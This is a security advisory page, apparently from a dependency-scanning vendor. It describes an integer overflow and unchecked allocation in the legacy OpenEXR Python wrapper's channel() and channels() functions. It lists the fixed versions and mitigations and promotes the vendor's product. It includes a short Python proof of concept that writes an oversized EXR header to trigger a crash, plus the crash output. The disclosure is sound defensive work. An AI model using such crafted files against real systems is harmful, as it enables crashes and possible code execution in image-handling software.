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🐍 PyPI

GHSA-vh63-9mqx-wmjr

HIGH

OpenEXR has buffer overflow in PyOpenEXR_old's channels() and channel()

Also known asCVE-2025-64182
Published
Apr 6, 2026
Updated
Apr 6, 2026
Affected
3 pkgs
Patched
3 / 3
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk10th percentile+0.18%
0.00%0.24%0.47%0.71%0.0%0.2%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

3 pkgs affected
🐍openexr🐍openexr🐍openexr

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects.

Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit).

This bug was found with ZeroPath.

Details

Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit), around here.

  • In channel():

    • Width and height are derived from the header dataWindow using int.

    • typeSize is a size_t. The buffer size is computed as typeSize * width * height with no bounds checks.

    • The result is passed to PyString_FromStringAndSize(NULL, size) which maps to PyBytes_FromStringAndSize. That function expects Py_ssize_t. If the product overflows or exceeds PY_SSIZE_T_MAX, allocation fails or the value wraps.

    • The return value is not checked. The code immediately calls PyString_AsString(r) and proceeds to build a FrameBuffer and calls readPixels(miny, maxy).

    • On 64 bit: PyBytes_FromStringAndSize returns NULL, the wrapper dereferences NULL and crashes.
      On 32 bit: the multiplication can wrap to a small positive size, producing a too-small allocation, after which readPixels writes typeSize * width bytes per scanline for height lines into that buffer, causing a heap overflow.

  • In channels() the same pattern appears for each requested channel. It also ignores per-channel subsampling when computing the allocation and when inserting the Slice it hardcodes xSampling=1, ySampling=1. If a file actually has subsampled channels this makes the stride and allocation inconsistent, which can also lead to over or under writes.

PoC

# write_big_header_then_crash.py
import OpenEXR, Imath

# OpenEXR sanity clamp for header coords is about INT_MAX/2 - 1
INT_MAX = (1 << 31) - 1
MAX_COORD = (INT_MAX // 2) - 1  # 1073741822

# Choose a scanline width that keeps row-bytes < 2^31
# 400,000,000 * 4 bytes = ~1.6 GB per scanline, which many codecs accept
WIDTH = min(400_000_000, MAX_COORD + 1)   # pixels
HEIGHT = 64                                # small height keeps the file tiny

# Build windows from pixel counts
dw = Imath.Box2i(Imath.V2i(0, 0), Imath.V2i(WIDTH - 1, HEIGHT - 1))

# Robustly set NO_COMPRESSION across enum naming differences
def no_compression():
    # Try common names, else fallback to numeric 0
    C = Imath.Compression
    for name in ("NO_COMPRESSION", "NONE", "NO_COMPRESSION_ENUM"):
        if hasattr(C, name):
            return Imath.Compression(getattr(C, name))
    return Imath.Compression(0)

hdr = {
    "dataWindow": dw,
    "displayWindow": dw,
    "channels": {"R": Imath.Channel(Imath.PixelType(Imath.PixelType.FLOAT))},
    "compression": no_compression(),
    "lineOrder": Imath.LineOrder(Imath.LineOrder.INCREASING_Y),
}

# Write just the header (no pixels)
out = OpenEXR.OutputFile("big_header.exr", hdr)
out.close()

# Now trigger the legacy bug: huge allocation request returns NULL, code fails to check
f = OpenEXR.InputFile("big_header.exr")
print("Triggering crash...")
f.channels(["R"])
$ python3 poc.py 
Triggering crash...
libc++abi: terminating due to uncaught exception of type Iex_3_4::InputExc: Unable to query scanline information
Abort trap: 6              python3 poc.py

Impact

Typical memory stuff.

Affected Packages

3 total 3 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIopenexr3.2.0&&< 3.2.53.2.5
🐍PyPIopenexr3.3.0&&< 3.3.63.3.6
🐍PyPIopenexr3.4.0&&< 3.4.33.4.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for openexr. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update openexr to 3.2.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vh63-9mqx-wmjr is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-vh63-9mqx-wmjr is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-vh63-9mqx-wmjr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects. Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit). This bug was found with [ZeroPath](https://zeropath.com/?utm_source=joshua.hu). ### Details Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (
O3 Security · Impact-Aware SCA

Is GHSA-vh63-9mqx-wmjr in your dependencies?

O3 detects GHSA-vh63-9mqx-wmjr across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.